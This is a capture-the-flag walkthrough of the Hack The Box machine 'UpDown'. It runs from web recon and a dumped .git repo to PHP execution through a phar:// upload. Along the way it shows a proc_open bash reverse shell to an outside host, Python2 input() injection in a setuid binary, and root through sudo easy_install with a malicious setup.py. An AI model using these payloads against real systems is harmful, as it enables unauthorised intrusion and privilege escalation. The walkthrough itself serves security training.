UpDown

Recon Link to heading

nmap Link to heading

nmap finds two open TCP ports, SSH (22) and HTTP (80):

boi@box$ nmap -p- --min-rate 10000 10.10.11.177
Starting Nmap 7.80 ( https://nmap.org ) at 2023-01-14 21:16 UTC
Nmap scan report for 10.10.11.177
Host is up (0.090s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 7.58 seconds
boi@box$ nmap -p 22,80 -sCV 10.10.11.177
Starting Nmap 7.80 ( https://nmap.org ) at 2023-01-14 21:16 UTC
Nmap scan report for 10.10.11.177
Host is up (0.094s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Is my Website up ?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.96 seconds

Based on the OpenSSH and Apache versions, the host is likely running Ubuntu focal 20.04.

Website - TCP 80 Link to heading

Site Link to heading

The site is a simple up/down checker:

I’ll note it says siteisup.htb at the bottom. I’ll put my own host into the website (http://10.10.14.6/test), and start nc listening on 80. On clicking check, there’s an HTTP request:

boi@box$ nc -lnvp 80
Listening on 0.0.0.0 80
Connection received on 10.10.11.177 42670
GET /test HTTP/1.1
Host: 10.10.14.6
User-Agent: siteisup.htb
Accept: */*

Custom User-Agent doesn’t leak what kind of tech is being used here, and there’s nothing else too interesting.

I’ll put some text into a file, and host it:

boi@box$ echo "hello!" > test
boi@box$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

If I submit, there’s a successful request:

10.10.11.177 - - [14/Jan/2023 21:33:00] "GET /test HTTP/1.1" 200 

And the site reports it’s up:

It’s hard to read, but it says “is up” in green.

If I do the same thing with “Debug mode (On/Off)” checked, it looks the same from my server, but the response includes the content:

Tech Stack Link to heading

The HTTP response headers don’t tell me much:

HTTP/1.1 200 OK
Date: Sat, 14 Jan 2023 21:49:31 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 1131
Connection: close
Content-Type: text/html; charset=UTF-8

Looking at the main page file name, index.php returns the same page, so that’s a good indication this is all built on PHP.

Directory Brute Force Link to heading

I’ll run feroxbuster against the site, and include -x php since I know the site is PHP:

boi@box$ feroxbuster -u http://siteisup.htb -x php

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.7.1
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://siteisup.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.7.1
 💲  Extensions            │ [php]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET       40l       93w     1131c http://siteisup.htb/
403      GET        9l       28w      277c http://siteisup.htb/.php
301      GET        9l       28w      310c http://siteisup.htb/dev => http://siteisup.htb/dev/
200      GET       40l       93w     1131c http://siteisup.htb/index.php
200      GET        0l        0w        0c http://siteisup.htb/dev/index.php
403      GET        9l       28w      277c http://siteisup.htb/server-status
[####################] - 1m    180000/180000  0s      found:6       errors:18     
[####################] - 1m     60000/60000   516/s   http://siteisup.htb 
[####################] - 1m     60000/60000   516/s   http://siteisup.htb/ 
[####################] - 1m     60000/60000   507/s   http://siteisup.htb/dev 

/dev is interesting. Visiting it just return an empty page.

Subdomain Brute Force Link to heading

Given the use of the domain name, I’ll fuzz for subdomains. I’ll start wfuzz without any filters, and note that the default response seems to be 1131 characters. I’ll ctrl-c to kill that, and add --hh 1131, and run again:

boi@box$ wfuzz -u http://10.10.11.177 -H "Host: FUZZ.siteisup.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hh 1131
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.11.177/
Total requests: 4989

===================================================================
ID           Response   Lines    Word     Chars       Payload
===================================================================

000000019:   403        9 L      28 W     281 Ch      "dev"

Total time: 45.44443
Processed Requests: 4989
Filtered Requests: 4988
Requests/sec.: 109.7824

I’ll add both the domain and subdomain to my /etc/hosts file:

10.10.11.177 siteisup.htb dev.siteisup.htb

dev.siteisup.htb Link to heading

Visiting this just returns 403 forbidden:

Shell as www-data Link to heading

Get Source Code Link to heading

Identify .git Repo Link to heading

This is admittedly a weakness in my methodology. There are many ways to find a .git folder on a webserver. nmap has a script that’s included in -sC that will find it if it’s in the web root. There are also wordlists that check specifically for .git when brute forcing directories (ie, feroxbuster, etc). Unfortunately, for me, the list I like to use there doesn’t have .git in it.

When there’s a .git directory on another subdomain from my initial nmap scan or in a directory, my standard methodology will miss it. I handle that by checking a bit more manually for these. Others might prefer a different wordlist. Regardless, there is one here in /dev:

Download Repository Link to heading

I like git-dumper for downloading .git repos from websites:

boi@box$ mkdir git
boi@box$ cd git/
boi@box$ /opt/git-dumper/git_dumper.py http://siteisup.htb/dev/.git/ .
[-] Testing http://siteisup.htb/dev/.git/HEAD [200]
[-] Testing http://siteisup.htb/dev/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://siteisup.htb/dev/.gitignore [404]
...[snip]...
[-] Fetching http://siteisup.htb/dev/.git/objects/pack/pack-30e4e40cb7b0c696d1ce3a83a6725267d45715da.pack [200]
[-] Running git checkout .
Updated 6 paths from the index

Sometimes it’ll crash on that last command, when it runs git checkout .. If that happens, I’ll run git status and see the issue:

boi@box$ git status                                                                           
fatal: detected dubious ownership in repository at '/media/sf_CTFs/hackthebox/updown-10.10.11.177/git'                                 
To add an exception for this directory, call:

        git config --global --add safe.directory /media/sf_CTFs/hackthebox/updown-10.10.11.177/git 

Running the command there will add the directory to a trusted one and allow me to work with it.

Source Analysis Link to heading

Overview Link to heading

The repo provides six files (and the .git directory):

boi@box$ ls -a
.  ..  admin.php  changelog.txt  checker.php  .git  .htaccess  index.php  stylesheet.css

Both admin.php and checker.php return 404 Not Found on the main site and in the /dev folder. Anything I try on dev.siteisup.htb returns 403, so hard to say there. But it seems like a likely candidate since I found it in the /dev folder.

.htaccess Link to heading

The .htaccess file is used to manage access to a page or path on a webserver by Apache. The file here is using the Deny and Allow directives to manage access to the site:

SetEnvIfNoCase Special-Dev "only4dev" Required-Header
Order Deny,Allow
Deny from All
Allow from env=Required-Header

These are super unintuitive to manage, but unlike firewall rules, all the rules are processed, and the last one matching is applied. So here, first it applies the Deny All, which matches everything. Then it applies Allow from env=Required-Header. This is defined on the first line, which uses the SetEnvIfNocase directive to say that if there is a header named Special-Dev with the value “only4dev”, then set the Required-Header environment variable.

Effectively, this allows only requests with that header.

index.php Link to heading

The next index.php page has a link to a admin.php, and then also uses an include to load the main body of the page:

<b>This is only for developers</b>
<br>
<a href="?page=admin">Admin Panel</a>
<?php
	define("DIRECTACCESS",false);
	$page=$_GET['page'];
	if($page && !preg_match("/bin|usr|home|var|etc/i",$page)){
		include($_GET['page'] . ".php");
	}else{
		include("checker.php");
	}	
?>

The preg_match is denylisting paths that might show up in a typical local file include, a common attack against this application structure. The page parameter has .php appended to it and that page is loaded and executed.

It also sets a variable, DIRECTACCESS to false. I’ll see in both admin.php and checker.php that the page will only load if this is set to false, preventing direct access to those pages.

admin.php Link to heading

This page blocks access if it is accessed directly (rather than included from index.php):

<?php
if(DIRECTACCESS){
	die("Access Denied");
}

#ToDo
?>

Other than that, it’s still in a “to do” state.

checker.php Link to heading

This page is very similar to the previous one, but this one has a form that takes a file labeled “List of websites to check” rather than a text field.

<form method="post" enctype="multipart/form-data">
			    <label>List of websites to check:</label><br><br>
				<input type="file" name="file" size="50">
				<input name="check" type="submit" value="Check">
</form>

If the request is a POST, it makes sure it’s not too large, and then gets the filename:

if($_POST['check']){
  
	# File size must be less than 10kb.
	if ($_FILES['file']['size'] > 10000) {
        die("File too large!");
    }
	$file = $_FILES['file']['name'];

Next it checks against a denylist of file extensions:

	# Check if extension is allowed.
	$ext = getExtension($file);
	if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){
		die("Extension not allowed!");
	}

Then it creates a directory from the hash of the current time in the uploads directory, and moves the file into that:

	# Create directory to upload our file.
	$dir = "uploads/".md5(time())."/";
	if(!is_dir($dir)){
        mkdir($dir, 0770, true);
    }
  
  # Upload the file.
	$final_path = $dir.$file;
	move_uploaded_file($_FILES['file']['tmp_name'], "{$final_path}");

It then does some stuff with the file, reading it, and checking websites. I’m going to ignore that bit for now. But I will note that at the end, it does delete the file (unlink):

  # Read the uploaded file.
        $websites = explode("\n",file_get_contents($final_path));

        foreach($websites as $site){
                echo date("Y.m.d") . "<br>";
                $site=trim($site);
                echo "testing " . $site . ".<br>";
                if(!preg_match("#file://#i",$site) && !preg_match("#data://#i",$site) && !preg_match("#ftp://#i",$site)){
                        $check=isitup($site);
                        if($check){
                                echo "<center>{$site}<br><font color='green'>is up ^_^</font></center>";
                        }else{
                                echo "<center>{$site}<br><font color='red'>seems to be down :(</font></center>";
                        }
                }else{
                        echo "<center><font color='red'>Hacking attempt was detected !</font></center>";
                }
        }

  # Delete the uploaded file.
        @unlink($final_path);
        echo "file is deleted?";
}

Interacting with dev.siteisup.htb Link to heading

Set Header Link to heading

Base on on the source code analysis, there are a few things I can try. First, I’ll use an extension like Modify Header Value to set a the custom header: Now when I visit, I get the page:

It says “This is only for developers” and has a link to the “Admin Panel” at the top left. It says “(beta)” towards the bottom, and there’s a link to the changelog. Most interestingly, it now handles a file rather than a single site.

Upload List / Find Uploads Link to heading

I’ll create a simple text file with some sites in it to check:

hackthebox.com
10.10.14.6
10.10.10.10

I don’t expect it to reach the first or third one, but I’ll start a Python webserver on mine. When I upload the file, it hangs for a bit, and then returns:

I’m not sure what the forth check is about.

/uploads has directory listing turned on:

But the folder is empty: This is because of the unlink at the end of the file.

Zip Files Link to heading

One more observersation - If I upload a zip file, something crashes and the file doesn’t delete itself. For example, I’ll zip the same text.txt from before:

boi@box$ zip text.zip test.txt 
  adding: test.txt (deflated 26%)
boi@box$ cp text.zip  text.0xdf

I can’t upload .zip files, so I’ll change the extension to .0xdf. I’ll upload it, and it returns immediately, showing no sites checked. But now looking in /uploads, the file is there: I suspect the non-ascii text breaks the application, and it never reaches the unlink call. It is worth noting that a cron does clean up the directories and files in /uploads every five minutes.

PHP Execution Link to heading

I’m going to show the intended way to get execution here.

Strategy Link to heading

Typically I think of needing a file to end in .php (or .ph3 or another known PHP extension to get execution). I also have to get around the fact that the script is going to add .php to the parameter I pass in.

I’m going to abuse the PHP Archive or PHAR format to get execution here. This is very similar to abusing the zip PHP stream wrapper way back in CrimeStoppers. The phar:// wrapper works with the format phar://[archive path]/[file inside the archive]. This means I can craft a URL that points to phar://0xdf.0xdf/info.php (where I’ll let the site add the .php to the end), and that file will be run from within the archive.

phpinfo POC Link to heading

To test this, I’ll try creating a file that just calls phpinfo, and call it info.php:

<?php phpinfo(); ?>

I’ll put it into a zip archive:

boi@box$ zip info.0xdf info.php 
  adding: info.php (stored 0%)
boi@box$ file info.0xdf 
info.0xdf: Zip archive data, at least v1.0 to extract

I can’t use .zip files on the site, so I’ll use .0xdf as something arbitrary. I’ll upload that to the site: It tried to check PK (the magic bytes at the start of a zip archive), and failed. The file is in /uploads/: Now on visiting http://dev.siteisup.htb/?page=phar://uploads/828afc50efeaa61d10099d92a4f618c5/info.0xdf/info, there’s PHP info: That’s execution.

disable_functions Link to heading

From here, it’s temping to put up a web shell or PHP that generates a reverse shell, but these will fail. That’s because PHP is configured with many disable_functions listed:

These functions won’t work, and include most of the ones necessary to get execution. However, I could notice that proc_open isn’t listed.

Alternatively, there’s a tool that will check for me, dfunc-bypasser, available here. The tool is only legacy python, so I’ll have to run python2.

I’ll also need to add the only4dev header into the requests. I’ll notice at the top that it is using requests to make the request. Searching for where that’s later called, I’ll find this line:

if(args.url):
    url = args.url
    phpinfo = requests.get(url).text

I’ll add the header in there:

if(args.url):
    url = args.url
    phpinfo = requests.get(url, headers={"Special-dev":"only4dev"}).text

Running this now shows that proc_open isn’t blocked:

boi@box$ python2 dfunc-bypasser.py --url http://dev.siteisup.htb/?page=phar://uploads/5e31601b65f0062e32966f2f8e94fbb0/info.0xdf/info


                                ,---,     
                                  .'  .' `\   
                                  ,---.'     \  
                                  |   |  .`\  | 
                                  :   : |  '  | 
                                  |   ' '  ;  : 
                                  '   | ;  .  | 
                                  |   | :  |  ' 
                                  '   : | /  ;  
                                  |   | '` ,/   
                                  ;   :  .'     
                                  |   ,.'       
                                  '---'         


                        authors: __c3rb3ru5__, $_SpyD3r_$


Please add the following functions in your disable_functions option: 
proc_open
If PHP-FPM is there stream_socket_sendto,stream_socket_client,fsockopen can also be used to be exploit by poisoning the request to the unix socket

proc_open Link to heading

The PHP docs for proc_open describe it as:

similar to popen() but provides a much greater degree of control over the program execution.

Some Goolging for “proc_open reverse shell” leads me to this repo, where proc_open is called on line 69:

I’ll need to set $shell and $descriptospec$pipes is not necessary since I’m just going to spawn a reverse shell, not try to read / write out of the process from PHP.

My reverse shell looks like, using a bash reverse shell as the payload:

<?php
        $descspec = array(
                0 => array("pipe", "r"),
                1 => array("pipe", "w"),
                2 => array("pipe", "w")
        );
        $cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.6/443 0>&1'";
        $proc = proc_open($cmd, $descspec, $pipes);

I’ll zip it:

boi@box$ zip rev.0xdf rev.php 
  adding: rev.php (deflated 35%)

And upload it. Now I trigger it just like with phpinfo above, getting the latest uploads directory, and visiting /?page=phar://uploads/c96c440052e65f8e167cfe6248981ad9/rev.0xdf/rev.

There’s a connection at my listening nc:

boi@box$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.177 60210
bash: cannot set terminal process group (907): Inappropriate ioctl for device
bash: no job control in this shell
www-data@updown:/var/www/dev$ 

I’ll upgrade my shell with script and stty:

www-data@updown:/var/www/dev$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@updown:/var/www/dev$ ^Z
[1]+  Stopped                 nc -lnvp 443
boi@box$ stty raw -echo; fg
nc -lnvp 443
            reset
reset: unknown terminal type unknown
Terminal type? screen
www-data@updown:/var/www/dev$ 

Shell as developer Link to heading

Enumeration Link to heading

Web Directories Link to heading

www-data’s home is /var/www. There are two sites set up:

www-data@updown:/var/www$ ls
dev  html

The code in dev matches what I pulled with git, so nothing interesting there.

The code in html is the main site. It’s just got a index.php and the dev folder, which just has an empty index.php and the .git folder:

www-data@updown:/var/www/html$ ls
dev  index.php  stylesheet.css
www-data@updown:/var/www/html$ cd dev
www-data@updown:/var/www/html/dev$ ls -la
total 12
drwxr-xr-x 3 www-data www-data 4096 Oct 20  2021 .
drwxr-xr-x 3 www-data www-data 4096 Jun 22  2022 ..
drwxr-xr-x 8 www-data www-data 4096 Oct 20  2021 .git
-rw-r--r-- 1 www-data www-data    0 Oct 20  2021 index.php

Home Directory Link to heading

There’s one user on the box with a home directory in /home, developer:

www-data@updown:/home$ ls
developer

user.txt is there, but www-data can’t read it:

www-data@updown:/home/developer$ ls -la
total 40
drwxr-xr-x 6 developer developer 4096 Aug 30 11:24 .
drwxr-xr-x 3 root      root      4096 Jun 22  2022 ..
lrwxrwxrwx 1 root      root         9 Jul 27 14:21 .bash_history -> /dev/null
-rw-r--r-- 1 developer developer  231 Jun 22  2022 .bash_logout
-rw-r--r-- 1 developer developer 3771 Feb 25  2020 .bashrc
drwx------ 2 developer developer 4096 Aug 30 11:24 .cache
drwxrwxr-x 3 developer developer 4096 Aug  1 18:19 .local
-rw-r--r-- 1 developer developer  807 Feb 25  2020 .profile
drwx------ 2 developer developer 4096 Aug  2 09:15 .ssh
drwxr-x--- 2 developer www-data  4096 Jun 22  2022 dev
-rw-r----- 1 root      developer   33 Jan 14 21:08 user.txt

In the dev directory, there’s a Python script and an executable:

www-data@updown:/home/developer/dev$ ls -l
total 24
-rwsr-x--- 1 developer www-data 16928 Jun 22  2022 siteisup
-rwxr-x--- 1 developer www-data   154 Jun 22  2022 siteisup_test.py
www-data@updown:/home/developer/dev$ file siteisup
siteisup: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b5bbc1de286529f5291b48db8202eefbafc92c1f, for GNU/Linux 3.2.0, not stripped

The SetUID bit is set on siteisup, meaning it will run as developer.

siteisup Analysis Link to heading

Python Script Link to heading

The Python script is short:

import requests

url = input("Enter URL here:")
page = requests.get(url)
if page.status_code == 200:
        print "Website is up"
else:
        print "Website is down"

The print calls use space in a way that show this is expecting to run with Python2. But if this is called with Python2, that input will be a major vulnerability.

Running it sadly doesn’t even work:

www-data@updown:/home/developer/dev$ python2 siteisup_test.py 
Enter URL here:http://10.10.14.6/test
Traceback (most recent call last):
  File "siteisup_test.py", line 3, in <module>
    url = input("Enter URL here:")
  File "<string>", line 1
    http://10.10.14.6/test
        ^
SyntaxError: invalid syntax

That’s because in Python2, input takes the input and passes it to eval, and my input isn’t valid python. I can pass it a one liner that will execute and get execution:

Binary Link to heading

Running the executable prints a welcome line, and then looks very similar to the python script:

www-data@updown:/home/developer/dev$ ./siteisup
Welcome to 'siteisup.htb' application

Enter URL here:

In fact, it even crashes the same:

Enter URL here:http://10.10.14.6/test
Traceback (most recent call last):
  File "/home/developer/dev/siteisup_test.py", line 3, in <module>
    url = input("Enter URL here:")
  File "<string>", line 1
    http://10.10.14.6/test
        ^
SyntaxError: invalid syntax

Running strings on the application shows why:

www-data@updown:/home/developer/dev$ strings -n 20 siteisup
/lib64/ld-linux-x86-64.so.2
_ITM_deregisterTMCloneTable
_ITM_registerTMCloneTable
Welcome to 'siteisup.htb' application
/usr/bin/python /home/developer/dev/siteisup_test.py
...[snip]...

It’s calling the python script from the application.

Execution as developer Link to heading

POC Link to heading

Putting all that together, I just need to run the binary (which runs as developer) and give it the Python code to run:

www-data@updown:/home/developer/dev$ ./siteisup            
Welcome to 'siteisup.htb' application

Enter URL here:__import__('os').system('id')
uid=1002(developer) gid=33(www-data) groups=33(www-data)
Traceback (most recent call last):
...[snip]...

It worked!

Shell Link to heading

I’ll switch out id for bash:

www-data@updown:/home/developer/dev$ ./siteisup
Welcome to 'siteisup.htb' application

Enter URL here:__import__('os').system('bash')
developer@updown:/home/developer/dev$ id
uid=1002(developer) gid=33(www-data) groups=33(www-data)

It returns a shell as developer! To be more specific, the process is running under the user developer, but the group is still www-data. This means I can’t read user.txt, as it’s owned by root, and in the developer group:

developer@updown:/home/developer$ ls -l
total 8
drwxr-x--- 2 developer www-data  4096 Jun 22  2022 dev
-rw-r----- 1 root      developer   33 Jan 14 21:08 user.txt

SSH Link to heading

Fortunately, in developer’s .ssh directory, there’s an RSA key-pair:

developer@updown:/home/developer/.ssh$ ls
authorized_keys  id_rsa  id_rsa.pub

The public key matches the authorized_keys file:

developer@updown:/home/developer/.ssh$ md5sum authorized_keys  id_rsa.pub 
4ecdaf650dc5b78cb29737291233fe99  authorized_keys
4ecdaf650dc5b78cb29737291233fe99  id_rsa.pub

So the private key should be good enough to get a shell as developer, and it does:

boi@box$ vim ~/keys/updown-developer
boi@box$ chmod 600 ~/keys/updown-developer
boi@box$ ssh -i ~/keys/updown-developer developer@siteisup.htb
...[snip]...
developer@updown:~$

And the user flag:

developer@updown:~$ cat user.txt
2e025639************************

Shell as root Link to heading

Enumeration Link to heading

developer is able to run easy_install as root without a password:

developer@updown:~$ sudo -l
Matching Defaults entries for developer on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User developer may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/local/bin/easy_install

Exploit easy_install Link to heading

Background Link to heading

easy_install is a now deprecated way to install packages in Python. At it’s heart, it’s running a setup.py script which promises to take certain actions to install the package.

Exploit Link to heading

Since easy_install is effectively running a Python script, getting execution from it is trivial. There’s a GTFObins page for this with some copy paste to get shell, but I’ll work through it on my own to better understand it.

easy_install needs an argument to tell if what to install:

developer@updown:~$ sudo easy_install
error: No urls, filenames, or requirements specified (see --help)

It can take a URL (so I could host something malicious on my machine and fetch it), but it can also just take a directory. I’ll create a directory:

developer@updown:~$ mkdir /tmp/0xdf
developer@updown:~$ cd /tmp/0xdf
developer@updown:/tmp/0xdf$

The malicious script goes into setup.py:

developer@updown:/tmp/0xdf$ echo -e 'import os\n\nos.system("/bin/bash")' > setup.py
developer@updown:/tmp/0xdf$ cat setup.py 
import os

os.system("/bin/bash")

In this case, I’m just having it import the os module and call os.system to run a Bash shell.

Now I just call easy_install pointing to that directory:

developer@updown:/tmp/0xdf$ sudo easy_install /tmp/0xdf/
WARNING: The easy_install command is deprecated and will be removed in a future version.
Processing 
Writing /tmp/0xdf/setup.cfg
Running setup.py -q bdist_egg --dist-dir /tmp/0xdf/egg-dist-tmp-ObdjVa
root@updown:/tmp/0xdf# id
uid=0(root) gid=0(root) groups=0(root)

And read root.txt:

root@updown:~# cat root.txt
a608663c************************